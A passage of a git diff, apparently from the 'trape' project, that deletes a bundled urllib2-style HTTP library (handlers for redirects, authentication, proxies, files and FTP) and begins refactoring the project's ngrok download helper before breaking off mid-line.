self.data = data - - def has_data(self): - return self.data is not None - - def get_data(self): - return self.data - - def get_full_url(self): - if self.__fragment: - return '%s#%s' % (self.__original, self.__fragment) - else: - return self.__original - - def get_type(self): - if self.type is None: - self.type, self.__r_type = splittype(self.__original) - if self.type is None: - raise ValueError("unknown url type: %s" % self.__original) - return self.type - - def get_host(self): - if self.host is None: - self.host, self.__r_host = splithost(self.__r_type) - if self.host: - self.host = unquote(self.host) - return self.host - - def get_selector(self): - return self.__r_host - - def set_proxy(self, host, type): - if self.type == 'https' and not self._tunnel_host: - self._tunnel_host = self.host - else: - self.type = type - self.__r_host = self.__original - - self.host = host - - def has_proxy(self): - return self.__r_host == self.__original - - def get_origin_req_host(self): - return self.origin_req_host - - def is_unverifiable(self): - return self.unverifiable - - def add_header(self, key, val): - # useful for something like authentication - self.headers[key.capitalize()] = val - - def add_unredirected_header(self, key, val): - # will not be added to a redirected request - self.unredirected_hdrs[key.capitalize()] = val - - def has_header(self, header_name): - return (header_name in self.headers or - header_name in self.unredirected_hdrs) - - def get_header(self, header_name, default=None): - return self.headers.get( - header_name, - self.unredirected_hdrs.get(header_name, default)) - - def header_items(self): - hdrs = self.unredirected_hdrs.copy() - hdrs.update(self.headers) - return list(hdrs.items()) - - -class OpenerDirector: - def __init__(self): - client_version = "Python-urllib/%s" % __version__ - self.addheaders = [('User-agent', client_version)] - # self.handlers is retained only for backward compatibility - self.handlers = [] - # manage the individual handlers - self.handle_open = {} - self.handle_error = {} - self.process_response = {} - self.process_request = {} - - def add_handler(self, handler): - if not hasattr(handler, "add_parent"): - raise TypeError("expected BaseHandler instance, got %r" % - type(handler)) - - added = False - for meth in dir(handler): - if meth in ["redirect_request", "do_open", "proxy_open"]: - # oops, coincidental match - continue - - i = meth.find("_") - protocol = meth[:i] - condition = meth[i+1:] - - if condition.startswith("error"): - j = condition.find("_") + i + 1 - kind = meth[j+1:] - try: - kind = int(kind) - except ValueError: - pass - lookup = self.handle_error.get(protocol, {}) - self.handle_error[protocol] = lookup - elif condition == "open": - kind = protocol - lookup = self.handle_open - elif condition == "response": - kind = protocol - lookup = self.process_response - elif condition == "request": - kind = protocol - lookup = self.process_request - else: - continue - - handlers = lookup.setdefault(kind, []) - if handlers: - bisect.insort(handlers, handler) - else: - handlers.append(handler) - added = True - - if added: - bisect.insort(self.handlers, handler) - handler.add_parent(self) - - def close(self): - # Only exists for backwards compatibility. - pass - - def _call_chain(self, chain, kind, meth_name, *args): - # Handlers raise an exception if no one else should try to handle - # the request, or return None if they can't but another handler - # could. Otherwise, they return the response. - handlers = chain.get(kind, ()) - for handler in handlers: - func = getattr(handler, meth_name) - - result = func(*args) - if result is not None: - return result - - def open(self, fullurl, data=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT): - # accept a URL or a Request object - if isinstance(fullurl, str): - req = Request(fullurl, data) - else: - req = fullurl - if data is not None: - req.add_data(data) - - req.timeout = timeout - protocol = req.get_type() - - # pre-process request - meth_name = protocol+"_request" - for processor in self.process_request.get(protocol, []): - meth = getattr(processor, meth_name) - req = meth(req) - - response = self._open(req, data) - - # post-process response - meth_name = protocol+"_response" - for processor in self.process_response.get(protocol, []): - meth = getattr(processor, meth_name) - response = meth(req, response) - - return response - - def _open(self, req, data=None): - result = self._call_chain(self.handle_open, 'default', - 'default_open', req) - if result: - return result - - protocol = req.get_type() - result = self._call_chain(self.handle_open, protocol, protocol + - '_open', req) - if result: - return result - - return self._call_chain(self.handle_open, 'unknown', - 'unknown_open', req) - - def error(self, proto, *args): - if proto in ('http', 'https'): - # XXX http[s] protocols are special-cased - dict = self.handle_error['http'] # https is not different than http - proto = args[2] # YUCK! - meth_name = 'http_error_%s' % proto - http_err = 1 - orig_args = args - else: - dict = self.handle_error - meth_name = proto + '_error' - http_err = 0 - args = (dict, proto, meth_name) + args - result = self._call_chain(*args) - if result: - return result - - if http_err: - args = (dict, 'default', 'http_error_default') + orig_args - return self._call_chain(*args) - -# XXX probably also want an abstract factory that knows when it makes -# sense to skip a superclass in favor of a subclass and when it might -# make sense to include both - - -def build_opener(*handlers): - """Create an opener object from a list of handlers. - - The opener will use several default handlers, including support - for HTTP, FTP and when applicable, HTTPS. - - If any of the handlers passed as arguments are subclasses of the - default handlers, the default handlers will not be used. - """ - import types - - def isclass(obj): - return isinstance(obj, type) - - opener = OpenerDirector() - default_classes = [ProxyHandler, UnknownHandler, HTTPHandler, - HTTPDefaultErrorHandler, HTTPRedirectHandler, - FTPHandler, FileHandler, HTTPErrorProcessor] - if hasattr(httplib, 'HTTPS'): - default_classes.append(HTTPSHandler) - skip = set() - for klass in default_classes: - for check in handlers: - if isclass(check): - if issubclass(check, klass): - skip.add(klass) - elif isinstance(check, klass): - skip.add(klass) - for klass in skip: - default_classes.remove(klass) - - for klass in default_classes: - opener.add_handler(klass()) - - for h in handlers: - if isclass(h): - h = h() - opener.add_handler(h) - return opener - - -class BaseHandler: - handler_order = 500 - - def add_parent(self, parent): - self.parent = parent - - def close(self): - # Only exists for backwards compatibility - pass - - def __lt__(self, other): - if not hasattr(other, "handler_order"): - # Try to preserve the old behavior of having custom classes - # inserted after default ones (works only for custom user - # classes which are not aware of handler_order). - return True - return self.handler_order < other.handler_order - - -class HTTPErrorProcessor(BaseHandler): - """Process HTTP error responses.""" - handler_order = 1000 # after all other processing - - def http_response(self, request, response): - code, msg, hdrs = response.code, response.msg, response.info() - - # According to RFC 2616, "2xx" code indicates that the client's - # request was successfully received, understood, and accepted. - if not (200 <= code < 300): - response = self.parent.error( - 'http', request, response, code, msg, hdrs) - - return response - - https_response = http_response - - -class HTTPDefaultErrorHandler(BaseHandler): - def http_error_default(self, req, fp, code, msg, hdrs): - raise HTTPError(req.get_full_url(), code, msg, hdrs, fp) - - -class HTTPRedirectHandler(BaseHandler): - # maximum number of redirections to any single URL - # this is needed because of the state that cookies introduce - max_repeats = 4 - # maximum total number of redirections (regardless of URL) before - # assuming we're in a loop - max_redirections = 10 - - def redirect_request(self, req, fp, code, msg, headers, newurl): - """Return a Request or None in response to a redirect. - - This is called by the http_error_30x methods when a - redirection response is received. If a redirection should - take place, return a new Request to allow http_error_30x to - perform the redirect. Otherwise, raise HTTPError if no-one - else should try to handle this url. Return None if you can't - but another Handler might. - """ - m = req.get_method() - if (code in (301, 302, 303, 307) and m in ("GET", "HEAD") - or code in (301, 302, 303) and m == "POST"): - # Strictly (according to RFC 2616), 301 or 302 in response - # to a POST MUST NOT cause a redirection without confirmation - # from the user (of urllib2, in this case). In practice, - # essentially all clients do redirect in this case, so we - # do the same. - # be conciliant with URIs containing a space - newurl = newurl.replace(' ', '%20') - newheaders = dict((k, v) for k, v in list(req.headers.items()) - if k.lower() not in ("content-length", "content-type") - ) - return Request(newurl, - headers=newheaders, - origin_req_host=req.get_origin_req_host(), - unverifiable=True) - else: - raise HTTPError(req.get_full_url(), code, msg, headers, fp) - - # Implementation note: To avoid the server sending us into an - # infinite loop, the request object needs to track what URLs we - # have already seen. Do this by adding a handler-specific - # attribute to the Request object. - def http_error_302(self, req, fp, code, msg, headers): - # Some servers (incorrectly) return multiple Location headers - # (so probably same goes for URI). Use first header. - if 'location' in headers: - newurl = headers.getheaders('location')[0] - elif 'uri' in headers: - newurl = headers.getheaders('uri')[0] - else: - return - - # fix a possible malformed URL - urlparts = urllib.parse.urlparse(newurl) - if not urlparts.path: - urlparts = list(urlparts) - urlparts[2] = "/" - newurl = urllib.parse.urlunparse(urlparts) - - newurl = urllib.parse.urljoin(req.get_full_url(), newurl) - - # For security reasons we do not allow redirects to protocols - # other than HTTP, HTTPS or FTP. - newurl_lower = newurl.lower() - if not (newurl_lower.startswith('http://') or - newurl_lower.startswith('https://') or - newurl_lower.startswith('ftp://')): - raise HTTPError(newurl, code, - msg + " - Redirection to url '%s' is not allowed" % - newurl, - headers, fp) - - # XXX Probably want to forget about the state of the current - # request, although that might interact poorly with other - # handlers that also use handler-specific request attributes - new = self.redirect_request(req, fp, code, msg, headers, newurl) - if new is None: - return - - # loop detection - # .redirect_dict has a key url if url was previously visited. - if hasattr(req, 'redirect_dict'): - visited = new.redirect_dict = req.redirect_dict - if (visited.get(newurl, 0) >= self.max_repeats or - len(visited) >= self.max_redirections): - raise HTTPError(req.get_full_url(), code, - self.inf_msg + msg, headers, fp) - else: - visited = new.redirect_dict = req.redirect_dict = {} - visited[newurl] = visited.get(newurl, 0) + 1 - - # Don't close the fp until we are sure that we won't use it - # with HTTPError. - fp.read() - fp.close() - - return self.parent.open(new, timeout=req.timeout) - - http_error_301 = http_error_303 = http_error_307 = http_error_302 - - inf_msg = "The HTTP server returned a redirect error that would " \ - "lead to an infinite loop.\n" \ - "The last 30x error message was:\n" - - -def _parse_proxy(proxy): - """Return (scheme, user, password, host/port) given a URL or an authority. - - If a URL is supplied, it must have an authority (host:port) component. - According to RFC 3986, having an authority component means the URL must - have two slashes after the scheme: - - >>> _parse_proxy('file:/ftp.example.com/') - Traceback (most recent call last): - ValueError: proxy URL with no authority: 'file:/ftp.example.com/' - - The first three items of the returned tuple may be None. - - Examples of authority parsing: - - >>> _parse_proxy('proxy.example.com') - (None, None, None, 'proxy.example.com') - >>> _parse_proxy('proxy.example.com:3128') - (None, None, None, 'proxy.example.com:3128') - - The authority component may optionally include userinfo (assumed to be - username:password): - - >>> _parse_proxy('joe:password@proxy.example.com') - (None, 'joe', 'password', 'proxy.example.com') - >>> _parse_proxy('joe:password@proxy.example.com:3128') - (None, 'joe', 'password', 'proxy.example.com:3128') - - Same examples, but with URLs instead: - - >>> _parse_proxy('http://proxy.example.com/') - ('http', None, None, 'proxy.example.com') - >>> _parse_proxy('http://proxy.example.com:3128/') - ('http', None, None, 'proxy.example.com:3128') - >>> _parse_proxy('http://joe:password@proxy.example.com/') - ('http', 'joe', 'password', 'proxy.example.com') - >>> _parse_proxy('http://joe:password@proxy.example.com:3128') - ('http', 'joe', 'password', 'proxy.example.com:3128') - - Everything after the authority is ignored: - - >>> _parse_proxy('ftp://joe:password@proxy.example.com/rubbish:3128') - ('ftp', 'joe', 'password', 'proxy.example.com') - - Test for no trailing '/' case: - - >>> _parse_proxy('http://joe:password@proxy.example.com') - ('http', 'joe', 'password', 'proxy.example.com') - - """ - scheme, r_scheme = splittype(proxy) - if not r_scheme.startswith("/"): - # authority - scheme = None - authority = proxy - else: - # URL - if not r_scheme.startswith("//"): - raise ValueError("proxy URL with no authority: %r" % proxy) - # We have an authority, so for RFC 3986-compliant URLs (by ss 3. - # and 3.3.), path is empty or starts with '/' - end = r_scheme.find("/", 2) - if end == -1: - end = None - authority = r_scheme[2:end] - userinfo, hostport = splituser(authority) - if userinfo is not None: - user, password = splitpasswd(userinfo) - else: - user = password = None - return scheme, user, password, hostport - - -class ProxyHandler(BaseHandler): - # Proxies must be in front - handler_order = 100 - - def __init__(self, proxies=None): - if proxies is None: - proxies = getproxies() - assert hasattr(proxies, 'has_key'), "proxies must be a mapping" - self.proxies = proxies - for type, url in list(proxies.items()): - setattr(self, '%s_open' % type, - lambda r, proxy=url, type=type, meth=self.proxy_open: - meth(r, proxy, type)) - - def proxy_open(self, req, proxy, type): - orig_type = req.get_type() - proxy_type, user, password, hostport = _parse_proxy(proxy) - - if proxy_type is None: - proxy_type = orig_type - - if req.host and proxy_bypass(req.host): - return None - - if user and password: - user_pass = '%s:%s' % (unquote(user), unquote(password)) - creds = base64.b64encode(user_pass).strip() - req.add_header('Proxy-authorization', 'Basic ' + creds) - hostport = unquote(hostport) - req.set_proxy(hostport, proxy_type) - - if orig_type == proxy_type or orig_type == 'https': - # let other handlers take care of it - return None - else: - # need to start over, because the other handlers don't - # grok the proxy's URL type - # e.g. if we have a constructor arg proxies like so: - # {'http': 'ftp://proxy.example.com'}, we may end up turning - # a request for http://acme.example.com/a into one for - # ftp://proxy.example.com/a - return self.parent.open(req, timeout=req.timeout) - - -class HTTPPasswordMgr: - - def __init__(self): - self.passwd = {} - - def add_password(self, realm, uri, user, passwd): - # uri could be a single URI or a sequence - if isinstance(uri, str): - uri = [uri] - if not realm in self.passwd: - self.passwd[realm] = {} - for default_port in True, False: - reduced_uri = tuple( - [self.reduce_uri(u, default_port) for u in uri]) - self.passwd[realm][reduced_uri] = (user, passwd) - - def find_user_password(self, realm, authuri): - domains = self.passwd.get(realm, {}) - for default_port in True, False: - reduced_authuri = self.reduce_uri(authuri, default_port) - for uris, authinfo in domains.items(): - for uri in uris: - if self.is_suburi(uri, reduced_authuri): - return authinfo - return None, None - - def reduce_uri(self, uri, default_port=True): - """Accept authority or URI and extract only the authority and path.""" - # note HTTP URLs do not have a userinfo component - parts = urllib.parse.urlsplit(uri) - if parts[1]: - # URI - scheme = parts[0] - authority = parts[1] - path = parts[2] or '/' - else: - # host or host:port - scheme = None - authority = uri - path = '/' - host, port = splitport(authority) - if default_port and port is None and scheme is not None: - dport = {"http": 80, - "https": 443, - }.get(scheme) - if dport is not None: - authority = "%s:%d" % (host, dport) - return authority, path - - def is_suburi(self, base, test): - """Check if test is below base in a URI tree - - Both args must be URIs in reduced form. - """ - if base == test: - return True - if base[0] != test[0]: - return False - common = posixpath.commonprefix((base[1], test[1])) - if len(common) == len(base[1]): - return True - return False - - -class HTTPPasswordMgrWithDefaultRealm(HTTPPasswordMgr): - - def find_user_password(self, realm, authuri): - user, password = HTTPPasswordMgr.find_user_password(self, realm, - authuri) - if user is not None: - return user, password - return HTTPPasswordMgr.find_user_password(self, None, authuri) - - -class AbstractBasicAuthHandler: - - # XXX this allows for multiple auth-schemes, but will stupidly pick - # the last one with a realm specified. - - # allow for double- and single-quoted realm values - # (single quotes are a violation of the RFC, but appear in the wild) - rx = re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+' - 'realm=(["\'])(.*?)\\2', re.I) - - # XXX could pre-emptively send auth info already accepted (RFC 2617, - # end of section 2, and section 1.2 immediately after "credentials" - # production). - - def __init__(self, password_mgr=None): - if password_mgr is None: - password_mgr = HTTPPasswordMgr() - self.passwd = password_mgr - self.add_password = self.passwd.add_password - self.retried = 0 - - def reset_retry_count(self): - self.retried = 0 - - def http_error_auth_reqed(self, authreq, host, req, headers): - # host may be an authority (without userinfo) or a URL with an - # authority - # XXX could be multiple headers - authreq = headers.get(authreq, None) - - if self.retried > 5: - # retry sending the username:password 5 times before failing. - raise HTTPError(req.get_full_url(), 401, "basic auth failed", - headers, None) - else: - self.retried += 1 - - if authreq: - mo = AbstractBasicAuthHandler.rx.search(authreq) - if mo: - scheme, quote, realm = mo.groups() - if scheme.lower() == 'basic': - response = self.retry_http_basic_auth(host, req, realm) - if response and response.code != 401: - self.retried = 0 - return response - - def retry_http_basic_auth(self, host, req, realm): - user, pw = self.passwd.find_user_password(realm, host) - if pw is not None: - raw = "%s:%s" % (user, pw) - auth = 'Basic %s' % base64.b64encode(raw).strip() - if req.headers.get(self.auth_header, None) == auth: - return None - req.add_unredirected_header(self.auth_header, auth) - return self.parent.open(req, timeout=req.timeout) - else: - return None - - -class HTTPBasicAuthHandler(AbstractBasicAuthHandler, BaseHandler): - - auth_header = 'Authorization' - - def http_error_401(self, req, fp, code, msg, headers): - url = req.get_full_url() - response = self.http_error_auth_reqed('www-authenticate', - url, req, headers) - self.reset_retry_count() - return response - - -class ProxyBasicAuthHandler(AbstractBasicAuthHandler, BaseHandler): - - auth_header = 'Proxy-authorization' - - def http_error_407(self, req, fp, code, msg, headers): - # http_error_auth_reqed requires that there is no userinfo component in - # authority. Assume there isn't one, since urllib2 does not (and - # should not, RFC 3986 s. 3.2.1) support requests for URLs containing - # userinfo. - authority = req.get_host() - response = self.http_error_auth_reqed('proxy-authenticate', - authority, req, headers) - self.reset_retry_count() - return response - - -def randombytes(n): - """Return n random bytes.""" - # Use /dev/urandom if it is available. Fall back to random module - # if not. It might be worthwhile to extend this function to use - # other platform-specific mechanisms for getting random bytes. - if os.path.exists("/dev/urandom"): - f = open("/dev/urandom") - s = f.read(n) - f.close() - return s - else: - L = [chr(random.randrange(0, 256)) for i in range(n)] - return "".join(L) - - -class AbstractDigestAuthHandler: - # Digest authentication is specified in RFC 2617. - - # XXX The client does not inspect the Authentication-Info header - # in a successful response. - - # XXX It should be possible to test this implementation against - # a mock server that just generates a static set of challenges. - - # XXX qop="auth-int" supports is shaky - - def __init__(self, passwd=None): - if passwd is None: - passwd = HTTPPasswordMgr() - self.passwd = passwd - self.add_password = self.passwd.add_password - self.retried = 0 - self.nonce_count = 0 - self.last_nonce = None - - def reset_retry_count(self): - self.retried = 0 - - def http_error_auth_reqed(self, auth_header, host, req, headers): - authreq = headers.get(auth_header, None) - if self.retried > 5: - # Don't fail endlessly - if we failed once, we'll probably - # fail a second time. Hm. Unless the Password Manager is - # prompting for the information. Crap. This isn't great - # but it's better than the current 'repeat until recursion - # depth exceeded' approach - raise HTTPError(req.get_full_url(), 401, "digest auth failed", - headers, None) - else: - self.retried += 1 - if authreq: - scheme = authreq.split()[0] - if scheme.lower() == 'digest': - return self.retry_http_digest_auth(req, authreq) - - def retry_http_digest_auth(self, req, auth): - token, challenge = auth.split(' ', 1) - chal = parse_keqv_list(parse_http_list(challenge)) - auth = self.get_authorization(req, chal) - if auth: - auth_val = 'Digest %s' % auth - if req.headers.get(self.auth_header, None) == auth_val: - return None - req.add_unredirected_header(self.auth_header, auth_val) - resp = self.parent.open(req, timeout=req.timeout) - return resp - - def get_cnonce(self, nonce): - # The cnonce-value is an opaque - # quoted string value provided by the client and used by both client - # and server to avoid chosen plaintext attacks, to provide mutual - # authentication, and to provide some message integrity protection. - # This isn't a fabulous effort, but it's probably Good Enough. - dig = hashlib.sha1("%s:%s:%s:%s" % (self.nonce_count, nonce, time.ctime(), - randombytes(8))).hexdigest() - return dig[:16] - - def get_authorization(self, req, chal): - try: - realm = chal['realm'] - nonce = chal['nonce'] - qop = chal.get('qop') - algorithm = chal.get('algorithm', 'MD5') - # mod_digest doesn't send an opaque, even though it isn't - # supposed to be optional - opaque = chal.get('opaque', None) - except KeyError: - return None - - H, KD = self.get_algorithm_impls(algorithm) - if H is None: - return None - - user, pw = self.passwd.find_user_password(realm, req.get_full_url()) - if user is None: - return None - - # XXX not implemented yet - if req.has_data(): - entdig = self.get_entity_digest(req.get_data(), chal) - else: - entdig = None - - A1 = "%s:%s:%s" % (user, realm, pw) - A2 = "%s:%s" % (req.get_method(), - # XXX selector: what about proxies and full urls - req.get_selector()) - if qop == 'auth': - if nonce == self.last_nonce: - self.nonce_count += 1 - else: - self.nonce_count = 1 - self.last_nonce = nonce - - ncvalue = '%08x' % self.nonce_count - cnonce = self.get_cnonce(nonce) - noncebit = "%s:%s:%s:%s:%s" % (nonce, ncvalue, cnonce, qop, H(A2)) - respdig = KD(H(A1), noncebit) - elif qop is None: - respdig = KD(H(A1), "%s:%s" % (nonce, H(A2))) - else: - # XXX handle auth-int. - raise URLError("qop '%s' is not supported." % qop) - - # XXX should the partial digests be encoded too? - - base = 'username="%s", realm="%s", nonce="%s", uri="%s", ' \ - 'response="%s"' % (user, realm, nonce, req.get_selector(), - respdig) - if opaque: - base += ', opaque="%s"' % opaque - if entdig: - base += ', digest="%s"' % entdig - base += ', algorithm="%s"' % algorithm - if qop: - base += ', qop=auth, nc=%s, cnonce="%s"' % (ncvalue, cnonce) - return base - - def get_algorithm_impls(self, algorithm): - # algorithm should be case-insensitive according to RFC2617 - algorithm = algorithm.upper() - # lambdas assume digest modules are imported at the top level - if algorithm == 'MD5': - def H(x): return hashlib.md5(x).hexdigest() - elif algorithm == 'SHA': - def H(x): return hashlib.sha1(x).hexdigest() - # XXX MD5-sess - def KD(s, d): return H("%s:%s" % (s, d)) - return H, KD - - def get_entity_digest(self, data, chal): - # XXX not implemented yet - return None - - -class HTTPDigestAuthHandler(BaseHandler, AbstractDigestAuthHandler): - """An authentication protocol defined by RFC 2069 - - Digest authentication improves on basic authentication because it - does not transmit passwords in the clear. - """ - - auth_header = 'Authorization' - handler_order = 490 # before Basic auth - - def http_error_401(self, req, fp, code, msg, headers): - host = urllib.parse.urlparse(req.get_full_url())[1] - retry = self.http_error_auth_reqed('www-authenticate', - host, req, headers) - self.reset_retry_count() - return retry - - -class ProxyDigestAuthHandler(BaseHandler, AbstractDigestAuthHandler): - - auth_header = 'Proxy-Authorization' - handler_order = 490 # before Basic auth - - def http_error_407(self, req, fp, code, msg, headers): - host = req.get_host() - retry = self.http_error_auth_reqed('proxy-authenticate', - host, req, headers) - self.reset_retry_count() - return retry - - -class AbstractHTTPHandler(BaseHandler): - - def __init__(self, debuglevel=0): - self._debuglevel = debuglevel - - def set_http_debuglevel(self, level): - self._debuglevel = level - - def do_request_(self, request): - host = request.get_host() - if not host: - raise URLError('no host given') - - if request.has_data(): # POST - data = request.get_data() - if not request.has_header('Content-type'): - request.add_unredirected_header( - 'Content-type', - 'application/x-www-form-urlencoded') - if not request.has_header('Content-length'): - request.add_unredirected_header( - 'Content-length', '%d' % len(data)) - - sel_host = host - if request.has_proxy(): - scheme, sel = splittype(request.get_selector()) - sel_host, sel_path = splithost(sel) - - if not request.has_header('Host'): - request.add_unredirected_header('Host', sel_host) - for name, value in self.parent.addheaders: - name = name.capitalize() - if not request.has_header(name): - request.add_unredirected_header(name, value) - - return request - - def do_open(self, http_class, req): - """Return an addinfourl object for the request, using http_class. - - http_class must implement the HTTPConnection API from httplib. - The addinfourl return value is a file-like object. It also - has methods and attributes including: - - info(): return a mimetools.Message object for the headers - - geturl(): return the original request URL - - code: HTTP status code - """ - host = req.get_host() - if not host: - raise URLError('no host given') - - h = http_class(host, timeout=req.timeout) # will parse host:port - h.set_debuglevel(self._debuglevel) - - headers = dict(req.unredirected_hdrs) - headers.update(dict((k, v) for k, v in list(req.headers.items()) - if k not in headers)) - - # We want to make an HTTP/1.1 request, but the addinfourl - # class isn't prepared to deal with a persistent connection. - # It will try to read all remaining data from the socket, - # which will block while the server waits for the next request. - # So make sure the connection gets closed after the (only) - # request. - headers["Connection"] = "close" - headers = dict( - (name.title(), val) for name, val in list(headers.items())) - - if req._tunnel_host: - tunnel_headers = {} - proxy_auth_hdr = "Proxy-Authorization" - if proxy_auth_hdr in headers: - tunnel_headers[proxy_auth_hdr] = headers[proxy_auth_hdr] - # Proxy-Authorization should not be sent to origin - # server. - del headers[proxy_auth_hdr] - h.set_tunnel(req._tunnel_host, headers=tunnel_headers) - - try: - h.request(req.get_method(), req.get_selector(), req.data, headers) - except socket.error as err: # XXX what error? - h.close() - raise URLError(err) - else: - try: - r = h.getresponse(buffering=True) - except TypeError: # buffering kw not supported - r = h.getresponse() - - # Pick apart the HTTPResponse object to get the addinfourl - # object initialized properly. - - # Wrap the HTTPResponse object in socket's file object adapter - # for Windows. That adapter calls recv(), so delegate recv() - # to read(). This weird wrapping allows the returned object to - # have readline() and readlines() methods. - - # XXX It might be better to extract the read buffering code - # out of socket._fileobject() and into a base class. - - r.recv = r.read - fp = socket._fileobject(r, close=True) - - resp = addinfourl(fp, r.msg, req.get_full_url()) - resp.code = r.status - resp.msg = r.reason - return resp - - -class HTTPHandler(AbstractHTTPHandler): - - def http_open(self, req): - return self.do_open(http.client.HTTPConnection, req) - - http_request = AbstractHTTPHandler.do_request_ - - -if hasattr(httplib, 'HTTPS'): - class HTTPSHandler(AbstractHTTPHandler): - - def https_open(self, req): - return self.do_open(http.client.HTTPSConnection, req) - - https_request = AbstractHTTPHandler.do_request_ - - -class HTTPCookieProcessor(BaseHandler): - def __init__(self, cookiejar=None): - import http.cookiejar - if cookiejar is None: - cookiejar = http.cookiejar.CookieJar() - self.cookiejar = cookiejar - - def http_request(self, request): - self.cookiejar.add_cookie_header(request) - return request - - def http_response(self, request, response): - self.cookiejar.extract_cookies(response, request) - return response - - https_request = http_request - https_response = http_response - - -class UnknownHandler(BaseHandler): - def unknown_open(self, req): - type = req.get_type() - raise URLError('unknown url type: %s' % type) - - -def parse_keqv_list(l): - """Parse list of key=value strings where keys are not duplicated.""" - parsed = {} - for elt in l: - k, v = elt.split('=', 1) - if v[0] == '"' and v[-1] == '"': - v = v[1:-1] - parsed[k] = v - return parsed - - -def parse_http_list(s): - """Parse lists as described by RFC 2068 Section 2. - - In particular, parse comma-separated lists where the elements of - the list may include quoted-strings. A quoted-string could - contain a comma. A non-quoted string could have quotes in the - middle. Neither commas nor quotes count if they are escaped. - Only double-quotes count, not single-quotes. - """ - res = [] - part = '' - - escape = quote = False - for cur in s: - if escape: - part += cur - escape = False - continue - if quote: - if cur == '\\': - escape = True - continue - elif cur == '"': - quote = False - part += cur - continue - - if cur == ',': - res.append(part) - part = '' - continue - - if cur == '"': - quote = True - - part += cur - - # append last part - if part: - res.append(part) - - return [part.strip() for part in res] - - -def _safe_gethostbyname(host): - try: - return socket.gethostbyname(host) - except socket.gaierror: - return None - - -class FileHandler(BaseHandler): - # Use local file or FTP depending on form of URL - def file_open(self, req): - url = req.get_selector() - if url[:2] == '//' and url[2:3] != '/' and (req.host and - req.host != 'localhost'): - req.type = 'ftp' - return self.parent.open(req) - else: - return self.open_local_file(req) - - # names for the localhost - names = None - - def get_names(self): - if FileHandler.names is None: - try: - FileHandler.names = tuple( - socket.gethostbyname_ex('localhost')[2] + - socket.gethostbyname_ex(socket.gethostname())[2]) - except socket.gaierror: - FileHandler.names = (socket.gethostbyname('localhost'),) - return FileHandler.names - - # not entirely sure what the rules are here - def open_local_file(self, req): - import email.utils - import mimetypes - host = req.get_host() - filename = req.get_selector() - localfile = url2pathname(filename) - try: - stats = os.stat(localfile) - size = stats.st_size - modified = email.utils.formatdate(stats.st_mtime, usegmt=True) - mtype = mimetypes.guess_type(filename)[0] - headers = mimetools.Message(StringIO( - 'Content-type: %s\nContent-length: %d\nLast-modified: %s\n' % - (mtype or 'text/plain', size, modified))) - if host: - host, port = splitport(host) - if not host or \ - (not port and _safe_gethostbyname(host) in self.get_names()): - if host: - origurl = 'file://' + host + filename - else: - origurl = 'file://' + filename - return addinfourl(open(localfile, 'rb'), headers, origurl) - except OSError as msg: - # urllib2 users shouldn't expect OSErrors coming from urlopen() - raise URLError(msg) - raise URLError('file not on local host') - - -class FTPHandler(BaseHandler): - def ftp_open(self, req): - import ftplib - import mimetypes - host = req.get_host() - if not host: - raise URLError('ftp error: no host given') - host, port = splitport(host) - if port is None: - port = ftplib.FTP_PORT - else: - port = int(port) - - # username/password handling - user, host = splituser(host) - if user: - user, passwd = splitpasswd(user) - else: - passwd = None - host = unquote(host) - user = user or '' - passwd = passwd or '' - - try: - host = socket.gethostbyname(host) - except socket.error as msg: - raise URLError(msg) - path, attrs = splitattr(req.get_selector()) - dirs = path.split('/') - dirs = list(map(unquote, dirs)) - dirs, file = dirs[:-1], dirs[-1] - if dirs and not dirs[0]: - dirs = dirs[1:] - try: - fw = self.connect_ftp(user, passwd, host, port, dirs, req.timeout) - type = file and 'I' or 'D' - for attr in attrs: - attr, value = splitvalue(attr) - if attr.lower() == 'type' and \ - value in ('a', 'A', 'i', 'I', 'd', 'D'): - type = value.upper() - fp, retrlen = fw.retrfile(file, type) - headers = "" - mtype = mimetypes.guess_type(req.get_full_url())[0] - if mtype: - headers += "Content-type: %s\n" % mtype - if retrlen is not None and retrlen >= 0: - headers += "Content-length: %d\n" % retrlen - sf = StringIO(headers) - headers = mimetools.Message(sf) - return addinfourl(fp, headers, req.get_full_url()) - except ftplib.all_errors as msg: - raise URLError('ftp error: %s' % - msg).with_traceback(sys.exc_info()[2]) - - def connect_ftp(self, user, passwd, host, port, dirs, timeout): - fw = ftpwrapper(user, passwd, host, port, dirs, timeout, - persistent=False) - fw.ftp.set_debuglevel(1) - return fw - - -class CacheFTPHandler(FTPHandler): - # XXX would be nice to have pluggable cache strategies - # XXX this stuff is definitely not thread safe - def __init__(self): - self.cache = {} - self.timeout = {} - self.soonest = 0 - self.delay = 60 - self.max_conns = 16 - - def setTimeout(self, t): - self.delay = t - - def setMaxConns(self, m): - self.max_conns = m - - def connect_ftp(self, user, passwd, host, port, dirs, timeout): - key = user, host, port, '/'.join(dirs), timeout - if key in self.cache: - self.timeout[key] = time.time() + self.delay - else: - self.cache[key] = ftpwrapper( - user, passwd, host, port, dirs, timeout) - self.timeout[key] = time.time() + self.delay - self.check_cache() - return self.cache[key] - - def check_cache(self): - # first check for old ones - t = time.time() - if self.soonest <= t: - for k, v in list(self.timeout.items()): - if v < t: - self.cache[k].close() - del self.cache[k] - del self.timeout[k] - self.soonest = min(self.timeout.values()) - - # then check the size - if len(self.cache) == self.max_conns: - for k, v in list(self.timeout.items()): - if v == self.soonest: - del self.cache[k] - del self.timeout[k] - break - self.soonest = min(self.timeout.values()) - - def clear_cache(self): - for conn in list(self.cache.values()): - conn.close() - self.cache.clear() - self.timeout.clear() diff --git a/core/ngrok.py b/core/ngrok.py old mode 100755 new mode 100644 index 399370c..1432e04 --- a/core/ngrok.py +++ b/core/ngrok.py @@ -1,6 +1,6 @@ #!/usr/bin/env python # -*- coding: utf-8 -*- -#** +# ** # ######### # trape # @@ -10,73 +10,60 @@ # For full copyright information this visit: https://github.com/jofpin/trape # # Copyright 2018 by Jose Pino (@jofpin) / -#** +# ** import sys -import os, platform +import os +import platform import subprocess -import socket import os.path as path from multiprocessing import Process -class ngrok(object): - def __init__(self, authtoken, port, nT, hash): - if authtoken: - self.token = authtoken - else: - print("Can't use Ngrok without a valid token") - system_type = os.name - system_name = platform.system() - system_architecture = platform.architecture()[0] - str_ngrok = './ngrok' - if "nt" in system_type: - str_ngrok = './ngrok.exe' - - if path.exists(str_ngrok): - pass - else: - import urllib.request, urllib.error, urllib.parse +def download_ngrok(authtoken): + import urllib.request + import urllib.parse + system_type = os.name + system_name = platform.system() + system_architecture = platform.architecture()[0] + if "posix" in system_type: + if "arwin" in system_name: + if "64" in 